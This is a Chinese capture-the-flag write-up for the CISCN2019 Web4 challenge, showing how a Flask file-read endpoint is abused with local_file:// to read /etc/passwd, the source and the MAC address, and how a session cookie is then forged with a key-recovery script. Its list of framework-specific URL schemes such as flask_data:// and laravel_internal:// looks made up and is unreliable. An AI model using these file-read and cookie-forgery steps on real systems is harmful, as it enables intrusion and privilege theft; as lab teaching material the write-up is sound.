当前位置: 首页 > article >正文

77,【1】.[CISCN2019 华东南赛区]Web4

有句英文,看看什么意思

好像也可以不看

进入靶场

点击蓝色字体

我勒个豆,百度哇

所以重点应该在url上,属于任意文件读取类型

接下来该判断框架了

常见的web框架如下

一,Python 框架

1.Flask

URL 示例 1:`http://example.com/read?path=local_flask:///etc/passwd` -

URL 示例 2:`http://example.com/load?source=flask_data:///app/logs/access.log`

2.Django

URL 示例 1:`http://example.com/get?file=django_custom:///etc/passwd` -

URL 示例 2:`http://example.com/readfile?path=django_appdata:///project/settings.py`

二,PHP 框架 

1.Laravel

URL 示例 1:`http://example.com/fetch?resource=laravel_internal:///etc/passwd` -

URL 示例 2:`http://example.com/read?file=laravel_storage:///app/public/images/test.jpg`

2.Symfony

URL 示例 1:`http://example.com/retrieve?path=symfony_special:///etc/passwd`

 URL 示例 2:`http://example.com/getfile?source=symfony_bundle:///MyBundle/Resources/config.yml`

三,Java 框架

1.Spring Boot

URL 示例 1:`http://example.com/read?uri=springboot_custom:///etc/passwd` -

URL 示例 2:`http://example.com/loadfile?file=springboot_config:///application.properties` -

2.Struts

URL 示例 1:`http://example.com/get?resource=struts_internal:///etc/passwd` -

URL 示例 2:`http://example.com/readfile?path=struts_action:///actions/resources/data.xml`

四,Node.js 框架

1,Express

URL 示例 1:`http://example.com/fetch?path=express_local:///etc/passwd` -

URL 示例 2:`http://example.com/read?file=express_module:///modules/utils/config.json`

2,Koa

URL 示例 1:`http://example.com/get?source=koa_custom:///etc/passwd` -

URL 示例 2:`http://example.com/readfile?path=koa_context:///ctx/data.txt`

当无法判断框架类型时也会使用 file:///etc/passwd 进行文件读取测试。

那就先尝试file:///etc/passwd 

不太行

再试一个

local_file:///etc/passwd 

在 Flask 框架里,app.py 往往是项目的核心文件

所以通过它来读取源码

# 指定文件编码为 UTF-8,确保可以正确处理中文字符等非 ASCII 字符
# encoding:utf-8# 导入所需的模块
# re 模块用于进行正则表达式匹配
import re
# random 模块用于生成随机数
import random
# uuid 模块用于生成通用唯一识别码,这里使用 uuid.getnode() 获取计算机的 MAC 地址作为随机数种子
import uuid
# urllib 模块用于处理 URL 相关操作,如打开 URL 并读取内容
import urllib# 从 flask 框架中导入 Flask 类用于创建 Flask 应用实例
# session 用于管理会话,可在不同请求之间存储和获取用户信息
# request 用于获取客户端的请求信息,如请求参数等
from flask import Flask, session, request# 创建一个 Flask 应用实例
app = Flask(__name__)# 使用计算机的 MAC 地址作为随机数种子,确保每次运行时生成的随机数序列不同
random.seed(uuid.getnode())# 为 Flask 应用设置 SECRET_KEY,用于加密会话数据
# 这里通过随机数乘以 233 并转换为字符串来生成 SECRET_KEY
app.config['SECRET_KEY'] = str(random.random() * 233)# 开启 Flask 应用的调试模式,方便开发过程中定位问题
app.debug = True# 定义根路由,当用户访问应用的根路径(/)时,会执行下面的函数
@app.route('/')
def index():# 在会话中设置一个键为 'username' 的值为 'www-data'session['username'] = 'www-data'# 返回一个字符串作为响应,提示用户可以读取某些内容return 'Hello World! Read somethings'# 定义 /read 路由,用于处理文件读取请求
@app.route('/read')
def read():try:# 从请求的查询参数中获取名为 'url' 的值,该值表示要读取的文件或资源的 URLurl = request.args.get('url')# 使用正则表达式检查 URL 是否以 'file' 开头(不区分大小写)# re.findall 函数会返回所有匹配的结果,这里如果匹配到则 m 为非空列表m = re.findall('^file.*', url, re.IGNORECASE)# 使用正则表达式检查 URL 中是否包含 'flag' 字符串(不区分大小写)# 如果匹配到则 n 为非空列表n = re.findall('flag', url, re.IGNORECASE)# 如果 URL 以 'file' 开头或者包含 'flag' 字符串,则认为是潜在的攻击行为if m or n:return 'No Hack'# 使用 urllib.urlopen 打开指定的 URL,并获取响应对象res = urllib.urlopen(url)# 读取响应对象的内容并返回return res.read()# 捕获可能出现的异常except Exception as ex:# 将异常信息转换为字符串并打印,方便调试print(str(ex))# 如果出现异常,返回 'no response' 作为响应return 'no response'# 定义 /flag 路由,用于获取标志文件的内容
@app.route('/flag')
def flag():# 检查会话是否存在,并且会话中的 'username' 键的值是否为 'fuck'if session and session['username'] == 'fuck':# 如果条件满足,打开 /flag.txt 文件并读取其内容返回return open('/flag.txt').read()else:# 如果条件不满足,返回 'Access denied' 表示访问被拒绝return 'Access denied'# 当该脚本作为主程序运行时,执行以下代码
if __name__ == '__main__':# 启动 Flask 应用# debug=True 表示开启调试模式# host="0.0.0.0" 表示应用可以接受来自任何 IP 地址的请求app.run(debug=True, host="0.0.0.0")

解读代码

根据此句,知要打开flag.txt需要满足session['username'] == 'fuck'

而与session相关的代码在这

在 Python 中,uuid.getnode() 是 uuid 模块提供的一个函数,主要用于获取当前设备的硬件地址(通常是 MAC 地址),并将其作为一个 48 位的整数返回。

所以我们需要知道mac地址

而在 Linux 系统中,/sys 目录是一个虚拟文件系统,它提供了一种内核数据结构的接口,用于向用户空间暴露系统硬件和设备驱动的信息。/sys/class/net 目录下包含了系统中所有网络接口的信息,每个网络接口对应一个子目录。
eth0 通常是 Linux 系统中第一个以太网网络接口的默认名称(不过现在很多系统会采用更具描述性的命名规则)。在 eth0 对应的子目录下,address 文件包含了该网络接口的 MAC 地址。

local_file:///sys/class/net/eth0/address

mac地址:4e:d9:ac:5d:21:a4

import random
random.seed(0x4ed9ac5d21a4)
print(str(random.random()*233))

28.446782818032307

python3 .\test.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.Z5SrWQ.c7ehqhgn_cr66-Med3jVqhfvb_U' -s '28.4467828180'

不明白它老是报错

一直不匹配

脚本是没有问题的,如下

# !/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3:  # < 3.0raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4from abc import ABCMeta, abstractmethod
else:  # > 3.4from abc import ABC, abstractmethod# Lib for argument parsing
import argparse# external Imports
from flask.sessions import SecureCookieSessionInterfaceclass MockApp(object):def __init__(self, secret_key):self.secret_key = secret_keyself.config = {'SECRET_KEY_FALLBACKS': []}if sys.version_info[0] == 3 and sys.version_info[1] < 4:  # >= 3.0 && < 3.4class FSCM(metaclass=ABCMeta):@staticmethoddef encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)@staticmethoddef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if secret_key is None:compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)else:  # > 3.4class FSCM(ABC):@staticmethoddef encode(secret_key, session_cookie_structure):""" Encode a Flask session cookie """try:app = MockApp(secret_key)session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.dumps(session_cookie_structure)except Exception as e:return "[Encoding error] {}".format(e)@staticmethoddef decode(session_cookie_value, secret_key=None):""" Decode a Flask cookie  """try:if secret_key is None:compressed = Falsepayload = session_cookie_valueif payload.startswith('.'):compressed = Truepayload = payload[1:]data = payload.split(".")[0]data = base64_decode(data)if compressed:data = zlib.decompress(data)return dataelse:app = MockApp(secret_key)si = SecureCookieSessionInterface()s = si.get_signing_serializer(app)return s.loads(session_cookie_value)except Exception as e:return "[Decoding error] {}".format(e)if __name__ == "__main__":# Args are only relevant for __main__ usage## Description for helpparser = argparse.ArgumentParser(description='Flask Session Cookie Decoder/Encoder',epilog="Author : Wilson Sumanang, Alexandre ZANNI")## prepare sub commandssubparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')## create the parser for the encode commandparser_encode = subparsers.add_parser('encode', help='encode')parser_encode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=True)parser_encode.add_argument('-t', '--cookie-structure', metavar='<string>',help='Session cookie structure', required=True)## create the parser for the decode commandparser_decode = subparsers.add_parser('decode', help='decode')parser_decode.add_argument('-s', '--secret-key', metavar='<string>',help='Secret key', required=False)parser_decode.add_argument('-c', '--cookie-value', metavar='<string>',help='Session cookie value', required=True)## get argsargs = parser.parse_args()## find the option chosenif args.subcommand == 'encode':if args.secret_key is not None and args.cookie_structure is not None:print(FSCM.encode(args.secret_key, args.cookie_structure))elif args.subcommand == 'decode':if args.secret_key is not None and args.cookie_value is not None:print(FSCM.decode(args.cookie_value, args.secret_key))elif args.cookie_value is not None:print(FSCM.decode(args.cookie_value))

这道题消耗了太长太长时间了

我先把后续思路写下

这一步匹配后他会生成{'username': b'www-data'}

将此修改为{'username': b'fuck'},然后重新加密生成session

用新的代替旧的后再去访问/flag即可

笔记

这个题太耗时了,先是工具搞不懂,再是代码出错,最后cookie和密钥不匹配,每一次靶场重启都要查mac地址,代码跑出密钥,重换cookie值,上面记录的图片什么的也一直在换,我先看看后面的题目,再来完善这道

相关文章:

77,【1】.[CISCN2019 华东南赛区]Web4

有句英文&#xff0c;看看什么意思 好像也可以不看 进入靶场 点击蓝色字体 我勒个豆&#xff0c;百度哇 所以重点应该在url上&#xff0c;属于任意文件读取类型 接下来该判断框架了 常见的web框架如下 一&#xff0c;Python 框架 1.Flask URL 示例 1&#xff1a;http://…...

手撕B-树

一、概述 1.历史 B树&#xff08;B-Tree&#xff09;结构是一种高效存储和查询数据的方法&#xff0c;它的历史可以追溯到1970年代早期。B树的发明人Rudolf Bayer和Edward M. McCreight分别发表了一篇论文介绍了B树。这篇论文是1972年发表于《ACM Transactions on Database S…...

SQL 指南

SQL 指南 引言 SQL(Structured Query Language,结构化查询语言)是一种用于管理关系数据库系统的标准计算机语言。自1970年代问世以来,SQL已经成为了数据库管理和数据操作的事实标准。本文旨在为初学者和有经验的数据库用户提供一个全面的SQL指南,涵盖SQL的基础知识、高级…...

一文简单回顾复习Java基础概念

还是和往常一样&#xff0c;我以提问的方式回顾复习&#xff0c;今天回顾下Java小白入门应该知道的一些基础知识 Java语言有哪些特点呢&#xff1f; Java语言的特点有&#xff1a; 面向对象&#xff0c;主要是封装、继承、多态&#xff1b;平台无关性&#xff0c;“一次编写…...

Git上传了秘钥如何彻底修改包括历史记录【从安装到实战详细版】

使用 BFG Repo-Cleaner 清除 Git 仓库中的敏感信息 1. 背景介绍 在使用 Git 进行版本控制时&#xff0c;有时会不小心将敏感信息&#xff08;如 API 密钥、密码等&#xff09;提交到仓库中。即使后续删除&#xff0c;这些信息仍然存在于 Git 的历史记录中。本文将介绍如何使用…...

GCC之编译(8)AR打包命令

GCC之(8)AR二进制打包命令 Author: Once Day Date: 2025年1月23日 一位热衷于Linux学习和开发的菜鸟&#xff0c;试图谱写一场冒险之旅&#xff0c;也许终点只是一场白日梦… 漫漫长路&#xff0c;有人对你微笑过嘛… 全系列文章请查看专栏: Linux实践记录_Once-Day的博客-C…...

Linux二进制部署K8s集群的平滑升级教程

一、升级前的准备工作 备份集群配置和数据 备份/etc/kubernetes/目录&#xff0c;其中包含Kubernetes集群的配置文件。 备份/var/lib/etcd/目录&#xff0c;其中存储了etcd数据库的数据。 使用etcdctl工具备份etcd数据&#xff1a; bash复制 ETCDCTL_API3 etcdctl snapshot s…...

2.1.3 第一个工程,点灯!

新建工程 点击菜单栏左上角&#xff0c;新建工程或者选择“文件”-“新建工程”&#xff0c;选择工程类型“标准工程”选择设备类型和编程语言&#xff0c;并指定工程文件名及保存路径&#xff0c;如下图所示&#xff1a; 选择工程类型为“标准工程” 选择主模块机型&#x…...

图像处理算法研究的程序框架

目录 1 程序框架简介 2 C#图像读取、显示、保存模块 3 C动态库图像算法模块 4 C#调用C动态库 5 演示Demo 5.1 开发环境 5.2 功能介绍 5.3 下载地址 参考 1 程序框架简介 一个图像处理算法研究的常用程序逻辑框架&#xff0c;如下图所示 在该框架中&#xff0c;将图像处…...

计算机工程:解锁未来科技之门!

计算机工程与应用是一个充满无限可能性的领域。随着科技的迅猛发展&#xff0c;计算机技术已经深深渗透到我们生活的方方面面&#xff0c;从医疗、金融到教育&#xff0c;无一不在彰显着计算机工程的巨大魅力和潜力。 在医疗行业&#xff0c;计算机技术的应用尤为突出。比如&a…...

Linux初识——基本指令(2)

本文将继续从上篇末尾讲起&#xff0c;讲解我们剩下的基本指令 一、剩余的基本指令 1、mv mv指令是move&#xff08;移动&#xff09;的缩写&#xff0c;其功能为&#xff1a;1.剪切文件、目录。2.重命名 先演示下重命名&#xff0c;假设我想把当前目录下的di34改成dir5 那…...

单片机-STM32 WIFI模块--ESP8266 (十二)

1.WIFI模块--ESP8266 名字由来&#xff1a; Wi-Fi这个术语被人们普遍误以为是指无线保真&#xff08;Wireless Fidelity&#xff09;&#xff0c;并且即便是Wi-Fi联盟本身也经常在新闻稿和文件中使用“Wireless Fidelity”这个词&#xff0c;Wi-Fi还出现在ITAA的一个论文中。…...

[C++技能提升]类注册

最近在做AI信息在各个平台流转的框架设计&#xff0c;想要设计一种可以灵活扩展、不改变原有代码的框架&#xff0c;了解到了类注册。 具体需求是这样的&#xff1a;AI算法在客户本地电脑和云端都有部署&#xff0c;原先AI在这两个平台下的输出格式并不统一&#xff0c;且每个…...

OpenHarmony 5.0.2 Release来了!

版本概述 OpenHarmony 5.0.2 Release版本对标准系统的能力进行持续完善&#xff0c;以快速迭代的方式推出API 14&#xff0c;相比5.0.1 Release版本&#xff0c;重点做出了如下特性新增或增强&#xff1a; 进一步增强ArkUI、图形图像的能力&#xff0c;提供更多组件的高级属性…...

80,【4】BUUCTF WEB [SUCTF 2018]MultiSQL

53&#xff0c;【3】BUUCTF WEB october 2019 Twice SQLinjection-CSDN博客 上面这个链接是我第一次接触二次注入 这道题也涉及了 对二次注入不熟悉的可以看看 BUUCTF出了点问题&#xff0c;打不开&#xff0c;以下面这两篇wp作为学习对象 [SUCTF 2018]MultiSQL-CSDN博客 …...

NR_shell运行流程简析

nr_shell 是一套开源 shell 框架&#xff0c;基于框架可创建终端交互功能。 为了记录终端输入指令&#xff0c;以及进行解析处理&#xff0c;nr_shell 提供了一套 cmd 结构体&#xff0c;具体如下&#xff1a;typedef struct static_cmd_function_struct {char cmd[NR_SHELL_CM…...

Prometheus部署及linux、mysql、monog、redis、RocketMQ、java_jvm监控配置

Prometheus部署及linux、mysql、monog、redis、RocketMQ、java_jvm监控配置 1.Prometheus部署1.2.Prometheus修改默认端口 2.grafana可视化页面部署3.alertmanager部署4.监控配置4.1.主机监控node-exporter4.2.监控mysql数据库mysqld_exporter4.3.监控mongod数据库mongodb_expo…...

问题排查 - TC397 CORE2 50MS/100MS任务不运行

1、问题描述 CORE2 的任务运行次数的计数值OsTask_100ms_Core2 - task_cnt[12]、OsTask_50ms_Core2 - task_cnt[16]不在累加&#xff0c;但是其他任务OsAlarm_1ms_Core2、OsAlarm_5ms_Core2、OsAlarm_10ms_Core2、OsAlarm_20ms_Core2 任务计数值累加正常。 如果是任务栈溢出&a…...

Spring FatJar写文件到RCE分析

背景 现在生产环境部署 spring boot 项目一般都是将其打包成一个 FatJar&#xff0c;即把所有依赖的第三方 jar 也打包进自身的 app.jar 中&#xff0c;最后以 java -jar app.jar 形式来运行整个项目。 运行时项目的 classpath 包括 app.jar 中的 BOOT-INF/classes 目录和 BO…...

百度APP iOS端磁盘优化实践(上)

01 概览 在APP的开发中&#xff0c;磁盘管理已成为不可忽视的部分。随着功能的复杂化和数据量的快速增长&#xff0c;如何高效管理磁盘空间直接关系到用户体验和APP性能。本文将结合磁盘管理的实践经验&#xff0c;详细介绍iOS沙盒环境下的文件存储规范&#xff0c;探讨业务缓…...

蓝桥杯之c++入门(一)【第一个c++程序】

目录 前言一、第⼀个C程序1.1 基础程序1.2 main函数1.3 字符串1.4 头文件1.5 cin 和 cout 初识1.6 名字空间1.7 注释 二、四道简单习题&#xff08;点击跳转链接&#xff09;练习1&#xff1a;Hello,World!练习2&#xff1a;打印飞机练习3&#xff1a;第⼆个整数练习4&#xff…...

14-6-1C++STL的list

(一&#xff09;list容器的基本概念 list容器简介&#xff1a; 1.list是一个双向链表容器&#xff0c;可高效地进行插入删除元素 2.list不可以随机存取元素&#xff0c;所以不支持at.(pos)函数与[ ]操作符 &#xff08;二&#xff09;list容器头部和尾部的操作 list对象的默…...

【AI论文】Sigma:对查询、键和值进行差分缩放,以实现高效语言模型

摘要&#xff1a;我们推出了Sigma&#xff0c;这是一个专为系统领域设计的高效大型语言模型&#xff0c;其独特之处在于采用了包括DiffQKV注意力机制在内的新型架构&#xff0c;并在我们精心收集的系统领域数据上进行了预训练。DiffQKV注意力机制通过根据查询&#xff08;Q&…...

InceptionV1_V2

目录 不同大小的感受野去提取特征 经典 Inception 网络的设计思路与运行流程 背景任务&#xff1a;图像分类&#xff08;以 CIFAR-10 数据集为例&#xff09; Inception 网络的设计思路 Inception 网络的运行流程 打个比方 多个损失函数的理解 1. 为什么需要多个损失函数&#…...

ORB-SLAM2源码学习:Initializer.cc⑧: Initializer::CheckRT检验三角化结果

前言 ORB-SLAM2源码学习&#xff1a;Initializer.cc⑦: Initializer::Triangulate特征点对的三角化_cv::svd::compute-CSDN博客 经过上面的三角化我们成功得到了三维点&#xff0c;但是经过三角化成功的三维点并不一定是有效的&#xff0c;需要筛选才能作为初始化地图点。 …...

【ArcGIS微课1000例】0141:提取多波段影像中的单个波段

文章目录 一、波段提取函数二、加载单波段导出问题描述:如下图所示,img格式的时序NDVI数据有24个波段。现在需要提取某一个波段,该怎样操作? 一、波段提取函数 首先加载多波段数据。点击【窗口】→【影像分析】。 选择需要处理的多波段影像,点击下方的【添加函数】。 在多…...

【测试人生】变更风险观测的流程逻辑设计

在线上服务变更过程中&#xff0c;我们希望可以通过一套实时观测机制去监测线上服务的风险&#xff0c;从而能够确保线上稳定性&#xff0c;在出问题是可以及时回滚变更。今天这篇文章&#xff0c;就简单讲一下变更风险观测的流程逻辑需要怎么设计。 首先需要明确变更观测的相…...

一文大白话讲清楚webpack基本使用——17——Tree Shaking

文章目录 一文大白话讲清楚webpack基本使用——17——Tree Shaking1. 建议按文章顺序从头看&#xff0c;一看到底&#xff0c;豁然开朗2. 啥叫Tree Shaking3. 什么是死代码&#xff0c;怎么来的3. Tree Shaking的流程3.1 标记3.2 利用Terser摇起来 4. 具体使用方式4.1 适用前提…...

ChatGPT从数据分析到内容写作建议相关的46个提示词分享!

在当今快节奏的学术环境中&#xff0c;研究人员面临着海量的信息和复杂的研究任务。幸运的是&#xff0c;随着人工智能技术的发展&#xff0c;像ChatGPT这样的先进工具为科研人员提供了强大的支持。今天就让我们一起探索如何利用ChatGPT提升研究效率进一步优化研究流程。 ChatG…...

PyCharm配置Python环境

1、打开PyCharm项目 可以从File-->Open-->选择你的项目路径-->OK&#xff0c;或者直接点击Open&#xff0c;找到项目路径-->OK&#xff0c;如图所示(点击Ok后可能有下面的弹窗&#xff0c;选择“Trust Project”即可&#xff0c;然后选择“New Window”打开项目) …...